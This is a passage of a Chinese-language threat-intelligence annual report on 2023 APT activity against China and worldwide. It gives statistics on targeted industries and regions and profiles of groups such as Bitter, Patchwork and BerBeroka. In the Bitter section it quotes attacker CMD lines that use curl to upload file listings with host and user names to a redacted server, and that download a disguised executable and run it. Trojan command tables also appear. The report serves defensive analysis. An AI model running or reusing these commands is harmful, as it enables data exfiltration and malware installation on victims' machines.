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2023 年，奇安信威胁情报中心观察到多个 APT 组织频繁针对国内目标。有的组织继续沿用以往的
攻击模式，而有的组织攻击手法特点则呈现出一定的变化，但总体来看，鱼叉邮件仍是主要的初始入侵
手段，个别 APT 组织还会通过社工、Web 层面的 0day/Nday 漏洞作为攻击入口。

政府机构、国防军事、科研教育、信息技术是全球高级持续性威胁主要针对的四大行业。此外 APT
攻击事件发生较多的行业还有金融、通信、新闻媒体、航空航天、医疗卫生、能源。

全球 APT 活动呈现出五大特点：移动端成为攻击制高点，针对移动平台 iOS/Android 的 0day 攻击
逐渐增多；路由、防火墙等传统网络设备成为廉价的 C2 屏障及攻击向量；网络军火商活跃出现，给原
始攻击者加上一层额外的反溯源保护，成为攻防两端之间的一种特殊角色；基于原生项目开发的程序未
保持同步更新导致很多原生项目中已经修复的问题在二级开发的应用中以 0day 的形式重新回归，软件
二次开发伴随的安全问题愈发严重；随着大批量国产化软件普及，针对国产软件的攻击及相关 0day 漏
洞不断涌现，确保这些软件的安全性势在必行。

在针对政府部门的 APT 攻击中，与外交相关的活动占比超 1/5，较往年显得尤为突出；针对国防军
事目标的攻击活动主要集中在地区地缘政治关系极度复杂的东欧、南亚两个地区；信息技术行业发现多
起供应链攻击；科研教育行业遭受攻击的三大重灾区为韩国、中国、印度。

漏洞利用方面，以浏览器为攻击向量依然是主趋势流，大量以移动端为目标的攻击成为今年 APT 的
首选，网络军火商在其中的参与度愈加提高，这也导致移动端漏洞的地下交易市场价格飙升。攻防两端
的角力进入白热化，严重 1day 漏洞的在野攻击投放速度加快，攻击者能以更快的速度利用最新的漏洞
发起攻击。

我们预测，在 2024 年 APT 活动将呈现出如下趋势：全球局势动荡催生更加频繁的 APT 攻击活动；
移动端将继续受到攻击者关注；软件供应链仍是常用攻击途径；人工智能技术被攻击者滥用；网络威胁
呈现更复杂的生态。

主要观点
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奇安信威胁情报中心使用奇安信威胁雷达对 2023 年境内的 APT 攻击活动进行了全方位遥感测绘。
监测发现，2023 年针对境内目标的 APT 攻击主要集中在下半年内；从地域分布来看，境内疑似受控 IP
多集中在沿海省份广东、江苏、上海、浙江等地区。攻击目标主要涉及我国政府机构、科研教育、信息
技术、金融商贸、能源等行业。

2023 年，奇安信威胁情报中心通过梳理奇安信红雨滴团队和奇安信安服在客户现场处置排查的真实
APT 攻击事件，结合使用威胁情报的全线产品告警数据，观察到多个 APT 组织频繁针对国内重点目标。
其中，FaceduckGroup 是我们今年首次发现针对国内的攻击团伙；APT-Q-77 开始将目标转向芯片领域；
APT-Q-15 是我们自 2022 年开始持续跟踪的新组织，主要攻击朝鲜和中国大陆。

基于奇安信威胁雷达的测绘分析，2023年对我国攻击频率最高的APT组织为：
APT-Q-27 (GoldenEyeDog)、APT-Q-29 (Winnti)、APT-Q-1 (Lazarus)、APT-Q-31 (海莲花)、APT-Q-36 
(Patchwork)、APT-Q-20 (毒云藤)、APT-Q-12 (伪猎者)等，这些组织疑似控制我国境内IP地址的比例分
别为：24.2%，11.6%，9.7%，7.8%，7.7%，7.5%，5.6%。

本次报告通过综合分析奇安信威胁雷达测绘数据、奇安信红雨滴团队对客户现场的 APT 攻击线索排
查情况以及奇安信威胁情报支持的全线产品告警数据，得出以下结论：2023 年，我国政府机构、科研教育、
信息技术、金融商贸、能源行业遭受高级威胁攻击情况突出，占比分别是：20.4%，18.4%，17.3%，
12.2%，10.2%。

奇安信威胁情报中心在 2023 年监测到的高级持续性威胁相关公开报告总共 369 篇。根据开源情报
监测显示，在 2023 年全球至少有 80 个国家遭遇过 APT 攻击， 披露的大部分 APT 攻击活动集中在韩国、
乌克兰、印度、中国、巴基斯坦、以色列和美国等地。同时报告总共涉及全球 95 个攻击组织，其中提
及率最高的 5 个 APT 组织分别是：Lazarus, Group123, Kimsuky, SideCopy, APT28。

摘 要
ABSTRACT
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2023 年全球披露的 APT 相关活动报告中，涉及政府机构（包括外交、政党、选举相关）的攻击事
件占比为 27.9%；涉及国防军事的攻击事件占比为 12.2%；涉及科研教育的攻击事件占比为 11.7%；信
息技术相关的事件占比为 10.4%。其余金融、通信、新闻媒体、航空航天、医疗卫生、能源占比分别为
5.3%、4.5%、3.7%、3.2%、2.7%、2.4%。

2023 年奇安信威胁情报中心关注到重点在野 0day 漏洞共 59 个。在野 0day 的利用数量相较 2022
年有所上升，趋势上逼近作为历年峰值的 2021 年。微软、谷歌、苹果三家的产品漏洞依然占主要部分，
而与往年有所不同的是，苹果产品的漏洞在数量上稳压了微软、谷歌一头。

关键字：全球高级持续性威胁、APT、威胁雷达、0day、iOS、地缘政治
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第一章 中国境内高级持续性威胁综述

基于中国境内海量 DNS 域名解析和奇安信威胁情报中心失陷检测（IOC）库的碰撞分析（奇安信威胁雷
达），是了解我国境内 APT 攻击活动及高级持续性威胁发展趋势的重要手段。

奇安信威胁情报中心通过使用奇安信威胁雷达对境内的 APT 攻击活动进行了全方位遥感测绘，监测到我
国范围内大量 IP 地址疑似和境外 APT 组织产生过高危通信，涉及境外 APT 组织达数十个。广东、江苏、
上海、浙江等沿海省份是境外 APT 组织攻击的主要目标地区。

本章内容及结论主要基于奇安信威胁雷达数据、奇安信红雨滴团队在客户现场处置排查的真实 APT 攻击
事件，结合使用了奇安信威胁情报的全线产品告警数据，进行的整理与分析。

一、奇安信威胁雷达境内遥测分析

奇安信威胁雷达是奇安信威胁情报中心基于奇安信大网数据和威胁情报中心失陷检测（IOC）库，用于
监控全境范围内疑似被APT组织、各类僵木蠕控制的网络资产的一款威胁情报SaaS应用。通过整合奇安
信的高、中位威胁情报能力，发现指定区域内疑似被不同攻击组织或恶意软件控制的主机IP，了解不同
威胁类型的比例及被控主机数量趋势等。可进一步协助排查重点资产相关的APT攻击线索。

图 1.1 奇安信威胁雷达境内受害者数据分析

 第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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基于奇安信威胁雷达境内的遥测分析，我们从以下方面对我国境内疑似遭受的APT攻击进行了分析和统
计。

奇安信威胁情报中心基于威胁雷达在2023年监测到数十个境外APT组织针对我国范围内大量目标IP进行
通信，形成了大量的境内IP与特定APT组织的网络基础设施的高危通信事件。

根据2023年奇安信威胁雷达遥测感知的我国境内每月连接境外APT组织C2服务器的疑似受害IP地址数量
统计，境外APT攻击主要集中在下半年内，其中攻击最高峰出现在7月。7-12月境内疑似受控IP数量近乎
是1-6月的两倍，攻击频次明显高于上半年。

2023年中国境内每月新增疑似被境外APT组织控制的IP数量变化趋势如图1.3所示，反映了APT组织攻击
活跃度变化走向。新增受控IP数量变化趋势也与图1.2中每月连接境外APT组织C2服务器的疑似受害IP数
量分布相符，可以看到新增疑似受控IP数量在1月、5-8月、12月三个时间段的波动幅度大。

（一） 受控 IP 数量和趋势

图 1.2 2023 年中国境内疑似受控 IP 数量月度分布
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图 1.3 2023 年中国境内每月新增疑似受控 IP 数量变化趋势

图 1.4 2023 年中国境内疑似受控 IP 地址地域分布

（二） 受害目标区域分布

下图为2023年中国境内疑似连接过境外APT组织C2服务器的IP地址地域分布，分别展示了各省疑似受害
IP地址的数量：沿海省份广东、江苏、上海、浙江等地是境外APT组织攻击的主要目标地区，其次是北
京、四川、安徽等地。不同于2022年的是，针对北京地区的境外APT攻击有所减少。
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可以看出，APT-Q-27 (GoldenEyeDog)、APT-Q-29 (Winnti)、APT-Q-1 (Lazarus)、APT-Q-31 (海莲
花)、APT-Q-36 (Patchwork)、APT-Q-20 (毒云藤)等APT组织疑似控制了境内大部分IP地址。其中，
APT-Q-27、海莲花、Patchwork、毒云藤等组织作为我国长期面临的网络威胁在2023年依旧频繁攻击中
国境内目标。Lazarus、APT-Q-12(伪猎者)、APT-Q-15、BerBeroka、APT-Q-78等组织在2023年的攻击
活动也涉及到我国目标。

进一步对这些APT组织的C2服务器及其控制的境内IP地址数据分析后，我们发现：

1. 与图1.2中境内疑似受控IP数量月度分布结果一致，大部分APT组织的攻击活动集中在下半年，但海莲
花、毒云藤两个组织的攻击最高峰为上半年5月；

2. 毒云藤、海莲花、APT-Q-15、BerBeroka几个组织使用大量C2针对境内目标进行攻击，表明其拥有庞
大的基础设施；

3. Winnti、Lazarus、APT-Q-12、APT-Q-78等组织仅使用少量C2就控制了境内相当数量的IP地址，可见
其拥有较高水平的攻击技术。

（三） APT 组织资产分布

下图分别为 2023 年境外 APT 组织疑似控制我国境内目标 IP 数量占比以及境外 APT 组织疑似使用过的
C2 服务器数量分布。

图 1.5 2023 年 APT 组织控制境内 IP 数量占比及 C2 服务器所属团伙数量分布
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经过分析，APT-Q-20选用了国内红队常用的开源Loader作为第一阶段载荷，用来混淆分析人员的判
断，但该操作相当于在免杀的Shellcode外层套了一层不免杀的Loader导致其实际攻击效果很差。

图 1.6 国际战略诱饵图片

（一） APT-Q-20（毒云藤）

关键词：鱼叉邮件、国际战略、CVE-2023-38831
毒云藤组织最近几年都遵循着相同的攻击模式，入侵国内 IoT 设备作为代理向国内高校、政府、科研等
单位投递鱼叉邮件，主要目的是窃取目标邮箱的账号密码。在 WinRAR 漏洞 CVE-2023-38831 的 EXP 公
布四五天后，毒云藤组织就利用该漏洞针对国内研究国际战略的学者投递鱼叉邮件，相关诱饵如下：

二、2023 年紧盯我国的活跃组织

2023 年，我们观察到多个 APT 组织频繁针对国内目标，涉及政府、军工、科研、高校、能源、航天多
个领域的重点单位，金融、游戏、媒体、芯片、通信、医疗等行业也遭到 APT 定向攻击。

跟踪发现，有的组织继续沿用以往的攻击模式，而有的组织攻击手法特点则呈现出一定的变化，但总体
来看，鱼叉邮件仍是主要的初始入侵手段，个别 APT 组织还会通过社工、Web 层面的 0day/Nday 漏洞
作为攻击入口。

奇安信威胁情报中心通过红雨滴团队和安服团队在客户现场处置排查的真实 APT 攻击事件，结合使用了
威胁情报的全线产品告警数据，最终基于被攻击单位、受控设备、APT 组织技战术等多个指标筛选出以
下数个对我国攻击频率高或危害大的 APT 组织。

接下来，我们将结合奇安信红雨滴团队的真实 APT 攻击处置案例，逐一盘点 2023 年紧盯我国的全球
APT 组织。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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攻击者投递的初始载荷一般都带有合法的数字签名，并使用多种语言实现下载者的功能，如rust、
golang、donet等。

图 1.7 Facebook 能源群组

图 1.8 合法的数字签名

（二） FaceduckGroup

关键词：Facebook、免杀
FaceduckGroup 是我们今年发现首次针对国内的攻击团伙，与国外安全厂商披露的 Ducktail[137] 同源，
该团伙通过在 Facebook 群组中投递相关诱饵，导致国内互联网、通信等行业公司的财务、会计、行政、
营销人员遭受攻击，这与境外友商披露的出于经济目的的攻击活动一致。但是基于奇安信威胁情报中心
的遥测数据，在针对特定领域（能源和建筑）的攻击活动中，该团伙攻击的目标呈现出很强的定向性，
攻击者会在几万人的 Facebook 能源行业大群中投递特定的诱饵，从而导致石油相关领域的技术专家遭
到攻击。

下载者的功能是将PHP白加黑组件释放到受害者的电脑上，PHP使用商业加密软件ionCube加密，防止
分析。
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图 1.9 PHP 白加黑组件

图 1.10 计划任务持久化

创建计划任务实现持久化，由于使用了PHP实现恶意载荷导致其免杀效果非常好，能够在终端中存活很
长一段时间。

PHP恶意载荷主要分为两类，一类是境外友商披露过的带有三个C2的远控，另一类则是只有执行CMD命
令功能的组件。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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图 1.11 命令执行功能代码

图 1.12 PS 插件

我们还发现了该团伙基于Powershell编写的插件，用来辅助执行PHP远控脚本的一些操作，插件调用
[Security.Cryptography.ProtectedData]::Unprotect函数，只有在当前用户的上下文环境中才能解密字
符串。
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（三） BerBeroka

关键词：金融、游戏、媒体
BerBeroka[311] 在今年发起了史上最大规模针对金融行业的攻击活动，我们将该活动命名为“Operation 
Giant”，国内十几家大型金融企业遭到入侵。经过我们的溯源排查发现 Operation Giant 行动最早可
以追溯到 2020 年，当时攻击者向域控植入了 PlugX 木马实现远程控制，并在 2023 年使用一套全新的
golang 特马，指令交互时会有 AES 加解密操作。

指令 功能

RepOnline 检查自身是否在线

CmdExecStart 启动 CMD

CmdExecContent 执行 CMD 命令

HeartBeatSned 发送心跳包

UploadFileStart 上传指定文件，通过 UploadFileFinish 结束上传

DownloadFileStart 下载文件，通过 DownloadFileFinish 结束下载

ExitAll 结束进程

表 1.13 BerBeroka 组织 golang 特马指令

图 1.14 ngrok 和 Radmin 联动代码

在内网横向移动过程中使用内网穿透工具ngrok和商业远控工具Radmin相结合的方式，实现对内网重要
业务服务器的远程控制。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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图 1.15 Xnote 新变种

一直以来BerBeroka被认为与Winnti（APT-Q-29）有着非常深入的联系，但是经过我们对Operation 
Giant行动的详细研究后认为BerBeroka与APT-Q-29是并行的两个组织，在2020-2022这个时间区间内
我们曾披露过APT-Q-29针对金融领域发起的Operation EICAR行动，其使用的技战术手法与Operation 
Giant完全不同。

BerBeroka似乎也是Xnote木马家族的所有者，在今年我们发现该团伙针对媒体行业的攻击活动中除了
利用Cobalt Strike进行横向移动，还使用Xnote木马的最新变种实现对Linux服务器的控制。新变种移除
了DDoS等指令，彻底变成了Linux平台下的插件下发软件，攻击者通过Xnote还控制了多个游戏公司的
Linux服务器。

（四） APT-Q-41（摩耶象）

关键词：鱼叉邮件、外包组织
APT-Q-41 在今年呈现出较强的外包特征，在四月份之后该团伙舍弃了之前钓鱼架构中常用的 netlify.
app、000webhostapp.com 等动态域名作为基础设施，开始在附件中使用新型钓鱼框架。新老架构改
变的契机是在该团伙针对某非洲国家驻华大使馆的期间，使用老钓鱼架构获取账户密码后开始向大量的
live.com 邮箱账户投递 SHTML 诱饵，SHTML 的内容为仿冒的 Outlook 登录页面。
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图 1.16 SHTML 附件仿冒 Outlook 登录页面

图 1.17 鱼叉邮件

随后我们在十月份又观察到该团伙针对我国科技领域的钓鱼活动。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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图 1.18 SHTML 诱饵仿冒的钓鱼页面

SHTML最终会将受害目标输入的账号密码上传到第三方表单网站中，后续我们扩线的时候发现大量同源
的SHTML，大部分都是在出于经济动机的钓鱼活动中使用。这与我们去年在年报中对该团伙的定位相吻
合，即以流动外包人员为主的定向性攻击团伙。APT-Q-41可能在今年更换了实施攻击任务的承包商或者
外包人员，从而导致技战术发生改变。

SHTML打开后的内容如下：
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（五） APT-Q-36（摩诃草）

关键词：鱼叉邮件、气象、高校
摩诃草（Patchwork）组织 2023 年仍在孜孜不倦的通过鱼叉邮件投递 LNK 诱饵，并使用多种语言 (C++、
rust、dotnet) 编写 Loader 去加载 BADNEWS 以实现免杀的效果。除了 BADNEWS 外该组织还会使用
Warzone Rat、Havoc、Silver、NorthstarC2 等远控木马，在最近的攻击活动中，我们观察到摩诃草控
制的 NorthstarStager 下发了使用相同 Loader 的 Quasar 远控木马。

图 1.19 NorthstarC2 项目在 github 上的截图

我们推测攻击者在同一台受害机器上使用多种远控的原因可能是为了给其他攻击人员一个操作空间，加
快“工作”效率。

在钓鱼网站方面，摩诃草在今年使用了两套钓鱼框架，其中一套我们已经在2023年中报告中披露，而另
一套钓鱼框架与之前披露过的魔罗桫组织钓鱼框架非常相似，我们推测魔罗桫组织的相关人员或者源代
码与摩诃草组织进行了合并。

基于奇安信大数据平台关联，我们捕获到了摩诃草针对俄罗斯地区的攻击活动，该组织针对俄罗斯地区
投递的LNK功能与针对国内的类似，都是从远程服务器执行Payload和PDF诱饵文件。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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图 1.20 PDF 诱饵

Payload的内容为Powershell加载器，内存加载一段Shellcode，Shellcode经过环境判断后内存加载
Silver后门，该活动与摩诃草的关联点在于攻击者在相同时间段将针对国内攻击的域名和针对俄罗斯的
域名解析到了同一个IP上。这从侧面说明目前APT攻击的现状，即同一个组织在针对不同地区的攻击活
动中使用的技战术完全不同，这种做法的目的是彻底遏制本土安全厂商根据其他地区友商发布的报告在
本土终端上进行扩线从而发现新活动的可能性，同时也是对“前出狩猎”这一防御体系的深度对抗。
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后续下发的Payload与之前我们报告披露的基本一致，在此期间我们观察到攻击者为实现免杀而下发了
一个非常简单的Powershell启动器插件，用来继续创建第二阶段的计划任务。

表 1.21 蔓灵花组织 CMD 命令

图 1.22 Powershell 启动器

（六） APT-Q-37（蔓灵花）

CMD

dir "%public%\Documents" > %public%\music\logs.lgo & curl -X POST -F "file=@C:\users\public\music\logs.lgo" 
ht^tp^s://XXXX.co^m/ank.php?ka=%computername%__%username%

curl -o %public%\Documents\svchost2.png https://XXXX.com/mwvcis.png

copy %public%\Documents\svchost2.png %public%\Documents\svchost2.exe

start %public%\Documents\svchost2.exe

关键词：鱼叉邮件、军工、航天
在 2023 年下半年，蔓灵花（Bitter）对缅北发生的内战有着浓厚的兴趣，入侵了缅甸驻华使馆并收集相
关情报，同时也改进了 CHM 样本后续的执行链，计划任务的内容从下发 MSI 并执行改为执行 CMD 命令。
攻击者执行的 CMD 命令如下：

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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图 1.24 收集特定后缀的文件列表

图 1.23 Chisel 工具

（七） APT-Q-77

关键词：芯片、能源
APT-Q-77[312] 在下半年发起了一波针对网络边界设备的攻击活动，此后开始将目标转向芯片领域，攻击
入口和内网横向移动手法并没有发生太大的变化，使用了新的隧道工具 Chisel。

我们首次捕获到该团伙使用的文件信息收集插件，攻击者使用该插件的时间在初始载荷Cobalt Strike建
立连接之后，内存加载RUST特马之前，使用CS将该插件注入到系统进程中。APT-Q-77采用了与APT37
相同的思路，即插件的功能仅收集感兴趣的文件列表以及对应的路径和时间，并不传输文件内容。攻击
者关注以下类型的文件。
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文件信息收集完成后进行AES加密并上传到C2服务器。攻击者的操作环境中应该有一个用于解析该列表
的文件查看器以方便攻击者快速定位感兴趣的文件，我们推测后续内存加载RUST特马的主要用途可能
就是上传指定的文件内容，由于插件和后续的特马都只会出现在系统进程的内存中，很难进行发现和检
测，这也导致国内友商发布有关该团伙的报告中只能看到CS木马的样本分析，而没有后续的技战术操
作。

在针对能源行业的攻击活动中，APT-Q-77展现出对我国在境外能源布局的浓厚兴趣，重点关注中亚、北
亚以及东南亚特定国家的能源项目，我们在此提醒各能源单位要保障境外外派人员的人身安全。

基于奇安信遥测数据，我们捕获到了APT-Q-77针对中国某地区的攻击活动，疑似向目标机构投递LNK诱
饵，紧接着我们就在VT上观测到该地区上传了RUST特马，除此之外还发现APT-Q-77针对印度地区进行
了类似的攻击活动。

（八） APT-Q-78

图 1.25 LNK 释放的 Word 诱饵

关键词 : 自然资源、安防设备
APT-Q-78[313] 一直以来对我国国土自然资源和地质数据有着非常浓厚的兴趣，该团伙善于使用 Web 层
面的 0day/Nday 漏洞作为攻击入口，在踩点阶段 APT-Q-78 会挂着 SoftEther VPN 使用 sqlmap 对目标
站点进行扫描，该团伙有多种手段实现对目标的远程控制，例如云盘 API 木马、WordPress 跳板木马、
Anydesk 等，而第二阶段的木马一般都会带有 VMP 壳用来对抗逆向分析。

我们有中等程度的信心认为 APT-Q-78 运营着少量的 SmokeLoader 用于其他场景的攻击活动。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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在后续深入跟踪该团伙的过程中我们发现了一个技术含量非常高的样本，攻击者实现了一套完整的代码
注入方案，能够绕过主流杀软的HOOK和内存检测，这意味着攻击者内部至少存在一个精通Windows内
核的研究人员，并且能熟练编写恶意代码和掌握EDR杀软的监控原理，这在众多以Loader为生的APT组
织中是比较少见的存在，我们会在2024年发布有关该样本的详细分析报告。

（九） Storm-0978

关键词：通信、医疗、金融、电感元器件
奇 安 信 威 胁 情 报 中 心 在 2023 年 下 半 年 公 开 披 露 了 Operation HideBear 活 动， 并 将 该 活 动 与
Storm-0978[314] 相关联，在报告中我们回顾了从 2020 年至今该团伙针对我国医疗、金融和电感元器件
等行业的定向攻击活动，其攻击手法主要依托于定向的鱼叉邮件诱导用户访问并下载仿冒页面中带有合
法签名的恶意安装包。该团伙非常善于利用 LOLBins 技术规避杀软检测，并使用 llvm、VMP、themida
等技术保护其手动投递的白加黑组件。

图 1.26 Storm-0978 使用的仿冒网站
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（十） APT-Q-12（伪猎者）

关键词：0day、鱼叉邮件
在 2022 年末时，我们曾在 Operation Dragon Dance 一文中探讨过基于 CEF 框架开发的国产软件的安
全隐患，紧接着在 2023 年初我们就发现 APT-Q-12 针对某邮件客户端使用了 0day 漏洞，利用流程如下：

图 1.27 APT-Q-12 年初的 0day 利用链

图 1.28 APT-Q-12 年中的 0day 利用链

2023年中时，使用了第二个0day，利用流程如下：

攻击者挖掘国产软件漏洞的思路与奇安信威胁情报中心之前公开披露的Operation ShadowTiger虎木槿
（APT-Q-11）组织的活动非常相似，并且在后续跟踪过程中发现APT-Q-11与APT-Q-12共用了一套钓鱼
框架，同时APT-Q-12还有多套非常隐蔽的邮件探针技术，用来刺探目标单位和个人使用的邮件客户端版
本。

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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（十一） APT-Q-14（旺刺）

关键词：鱼叉邮件
旺刺在今年仍然使用 ClickOnce 的技术针对国内进行钓鱼活动，触发时浏览器会弹出 tab 询问是否要打
开远程 Application 文件。

图 1.29 APT-Q-14 组织使用 ClickOnce 技术

图 1.30 APT-Q-14 组织通过 ClickOnce 技术下发初始载荷

之后会下载初始载荷并进行持久化操作。
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最终启动全新的Golang特马，指令功能如下：

指令 功能

time 修改 C2 心跳间隔

ldll 加载指定的 DLL

lmem 加载指定的文件

rtel 重新连接 C2 的其他端口

uweb 遍历指定目录下的文件内容并上传到 C2 服务器

sayo 自我销毁

表 1.31 APT-Q-14 组织 Golang 特马指令

（十二） APT-Q-15

关键词：鱼叉邮件、政治、军队、0day
在 2022 年终报告中，奇安信威胁情报中心披露了一个未知组织并将其暂时命名为 APT-Q-XX[312]。经过
一年多的跟踪，我们最终赋予其正式编号 APT-Q-15，该团伙主要攻击朝鲜和中国大陆的目标。我们曾
经遥测到朝鲜地区的出口 IP 请求过 APT-Q-15 的基础设施，攻击者投递的诱饵内容大部分都来自于朝鲜
官媒劳动新闻。

图 1.32 APT-Q-15 使用的朝鲜官媒劳动新闻诱饵
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APT-Q-15使用过多种类型的诱饵，伪装成朝鲜字体安装包的初始载荷如下：

使用Excel加载项文件（.xll）作为诱饵的下载者，双击后会释放xlsx诱饵，文档内容如下：

图 1.33 MSI 恶意安装包

图 1.34 xll 释放的诱饵文档
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下载者的配置文件如下：

图 1.35 下载者内存解密出来的配置文件

图 1.36 APT-Q-15 英伟达白利用攻击流程

2023年中时，APT-Q-15开始投递CHM诱饵，使用了一整套英伟达的白利用，执行流程如下：

释放名为nvspcaps1.db的Loader，该Loader会调用CryptUnprotectDate函数实现一机一马，最终内存
加载MSF木马。
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图 1.38 2023 年高级威胁事件涉及境内行业分布情况

图 1.37 APT-Q-15 解密木马

APT-Q-15还拥有大量的IoT跳板，2023年初与APT28在相同的时间段入侵了Ubiquiti路由器，区别的地
方在于APT28将Ubiquiti跳板当作0day攻击的C2使用，而APT-Q-15则将其当作代理。总而言之，东北
亚方向的APT组织攻击者手法多变，但这些组织之间（APT-Q-11、APT-Q-12、APT-Q-14、APT-Q-15）
均存在部分重叠，我们也只是基于TTP和基础设施对其进行分类，我们认为这些组织究其根源都是当年
DarkHotel的分支机构。

三、2023 年境内受害行业分析

进一步通过奇安信威胁雷达的遥测感知和奇安信红雨滴团队基于客户现场的 APT 攻击线索，并结合使
用了奇安信威胁情报的全线产品告警数据进行分析：2023 年涉及我国政府机构、科研教育、信息技
术、金融商贸、能源行业的高级威胁事件占主要部分，占比分别为：20.4%，18.4%，17.3%，12.2%，
10.2%。其次为国防军事、新闻媒体、医疗卫生等领域。受影响的境内行业具体分布如下。
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基于上述数据分析，针对我国境内攻击的APT组织活跃度排名及其关注的行业领域如下表。

排名 组织名称 组织名称

TOP1 APT-Q-27 (GoldenEyeDog) 博彩、诈骗

TOP2 APT-Q-29 (Winnti) 信息技术、金融

TOP3 APT-Q-1 (Lazarus) 政府、金融、国防军事

TOP4 APT-Q-31 ( 海莲花 ) 政府、科研教育

TOP5 APT-Q-36 (Patchwork) 气象、科研教育

TOP6 APT-Q-20 ( 毒云藤 ) 国防军事、政府、信息技术、科研教育

TOP7 APT-Q-12 ( 伪猎者 ) 国防军事、商业贸易

TOP8 APT-Q-15 政府、国防军事

TOP9 BerBeroka 金融、新闻媒体、信息技术

TOP10 APT-Q-78 国防军事、科研教育

表 1.39 活跃组织排名及针对的目标行业

第一章 中国境内高级持续性威胁综述 / 全球高级持续性威胁（APT）2023 年度报告
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第二章 全球高级持续性威胁综述

公开来源的 APT 情报（以下简称“开源情报”）分析是了解全球网络安全研究机构安全关注，认知全球
高级持续性威胁发展趋势的重要手段之一。2023 年，奇安信威胁情报中心对全球 200 多个主要的 APT
类情报来源进行持续监测，监测内容包括但不限于 APT 攻击组织报告、APT 攻击行动报告、疑似 APT
的定向攻击事件、APT 攻击相关的恶意代码和漏洞分析，以及我们认为需要关注的网络犯罪组织及其相
关活动。

本章内容及结论主要基于对上述开源情报以及内部威胁雷达数据的整理与分析。

一、全球高级威胁研究情况

奇安信威胁情报中心在 2023 年监测到的高级持续性威胁相关公开报告总共 369 篇。各月监测数据如下
图所示。

第二章  全球高级持续性威胁综述 /全球高级持续性威胁（APT）2023 年度报告

图 2.1 2023 年全球公开的高级威胁报告数量月度统计
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图 2.2 2023 年全球高级威胁事件涉及行业分布

二、受害目标的行业与地域

通过开源情报数据显示：全球高级持续性威胁首要针对的四大行业分别为政府机构、国防军事、科研教
育、信息技术。2023 年国内外披露的 APT 相关活动报告中，涉及政府机构（包括外交、政党、选举相
关）的攻击事件占比为 27.9%；涉及国防军事的攻击事件占比为 12.2%；涉及科研教育的攻击事件占比
为 11.7%；信息技术相关的事件占比为 10.4%。此外攻击事件发生较多的行业还有金融、通信、新闻媒
体、航空航天、医疗卫生、能源。

2023 年高级威胁事件涉及行业分布情况如下图所示。

高级威胁活动涉及目标的国家和地域分布情况统计如下图（摘录自公开报告中提到的受害目标所属国家
或地域），可以看到披露的大部分高级威胁攻击活动集中在东亚中韩、东欧俄乌、南亚印巴、中东巴
以、美国等几个国家或地区。
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第五章  地缘下的 APT 组织、活动和趋势 /全球高级持续性威胁（APT）2022 年中报告

图 2.3 2023 年公开披露的高级威胁活动针对的国家和地区

图 2.4 2023 年全球活跃高级威胁组织

三、活跃高级威胁组织情况

本次报告对开源情报中所提及的所有 APT 组织及相关行动进行了分析和整理。其中，提及率最高的 5 个
APT 组织分别是：Lazarus 9.2%，Group123 7.5%，Kimsuky 6.4%，SideCopy 3.9%，APT28 3.4%。其中，
Lazarus、Kimsuky 两个组织已连续 3 年跻身于年度公开报告提及率 Top 5 列表内。
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进一步对高级威胁活动公开报告中提及或命名的攻击行动/攻击者名称，按照同一背景来源进行归类处
理，得到的统计情况如下，总共涉及95个命名的威胁来源。

（一） 移动端成为攻击制高点

图 2.5 2023 年公开披露的高级威胁类攻击组织和行动

四、高级威胁年度活动特点

一直以来，Windows 都是 APT 团伙首要关注的目标平台，而随着近年移动端平台攻击的崛起，针对移
动平台 iOS/Android 的 0day 攻击也逐渐增多。相较于 PC 平台，移动端手机在物理上更接近受害者，
具备天然的监听优势，同时移动平台中的数据也更加私密且定向。但无论是 iOS 还是 Android 平台，想
要实现 0-Click（“零点击”，即无需用户交互）式的漏洞利用攻击，难度都要比传统 PC 平台高上不少，
因此能进行相关攻击的团伙通常技术实力积累雄厚或者背靠国家机器。

2023 年 6 月，卡巴斯基披露的 Operation Triangulation 正是这样一起攻击，详细内容可见后文漏洞部分。
整个攻击从 2019 年开始，持续了整整四年，其受害者覆盖多个国家的重点企业及相关重要人物，波及
范围之大令人膛目。也正是因为这一事件，奇安信威胁中心认为未来还会发生类似的大规模移动端 APT
攻击。
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（二） 网络设备用作廉价的 C2 屏障及攻击向量

（三） 网络军火商的强介入影响攻防对抗局面

（四） 软件二次开发伴随的安全问题凸显

传统的网络设备，如路由、防火墙等常位于企业网络拓扑的关键位置，但长期以来这些设备的安全性都
没有得到足够的重视。尽管 NSA 针对防火墙的攻击武器早已于 2017 年曝光，实际上关注这些网络设备
本身安全性的人员并不多。此外由于质保过期等各种原因，很多网络设备的安全补丁甚至处于非常滞后
的状态，因此近些年来网络设备成为了很多 APT 攻击者的目标，如海莲花、APT28，这些组织会经常攻
击一些暴露在外网上存在漏洞的网络设备。被攻陷的网络设备一方面可以作为 C2 的转发器，用于隐藏
攻击者的真实 IP，另一方面也可以作为攻击入口进行更深入的横向移动。

从早期 Hackteam 一家独大，到如今 NSO、Cytrox、Candiru 三足鼎立，在经历了中间一段时间的平
稳过渡后，近几年网络军火商频繁出现在各种攻击活动中，旗下销售武器所针对的目标从移动端 iOS/
Android，到终端程序 Chrome、Safari 浏览器，几乎涵盖了当今主流的攻击面，且都是以 0day 漏洞的
形式出现。

于攻击者而言，如此火爆的数字武器交易市场，大大降低了发动 APT 攻击的技术门槛，资金成了一切
问题的万能解药。因此可以看到最近几年各种高端的网络军火被售卖给各勒索团伙用于勒索攻击，或
国家政权用于实施针对特定人群的定向监控活动。而对于处在防御侧的安全厂商来说，则是逐年增加的
0day 攻击活动，以及越发模糊的背景归因，因为网络军火商的存在相当于给原始攻击者加上了额外的
反溯源保护。随着网络攻防技术的不断发展，网络空间中不再只有简单的攻击者与防御者的概念，以经
济利益为目的各网络军火商将以一种特殊角色介入到二者的对抗之中。

当 今 计 算 机 世 界 存 在 大 量 由 基 础 项 目 衍 生 而 来 的 程 序。 比 如 移 动 端 Android 阵 营 都 是 在 Google 
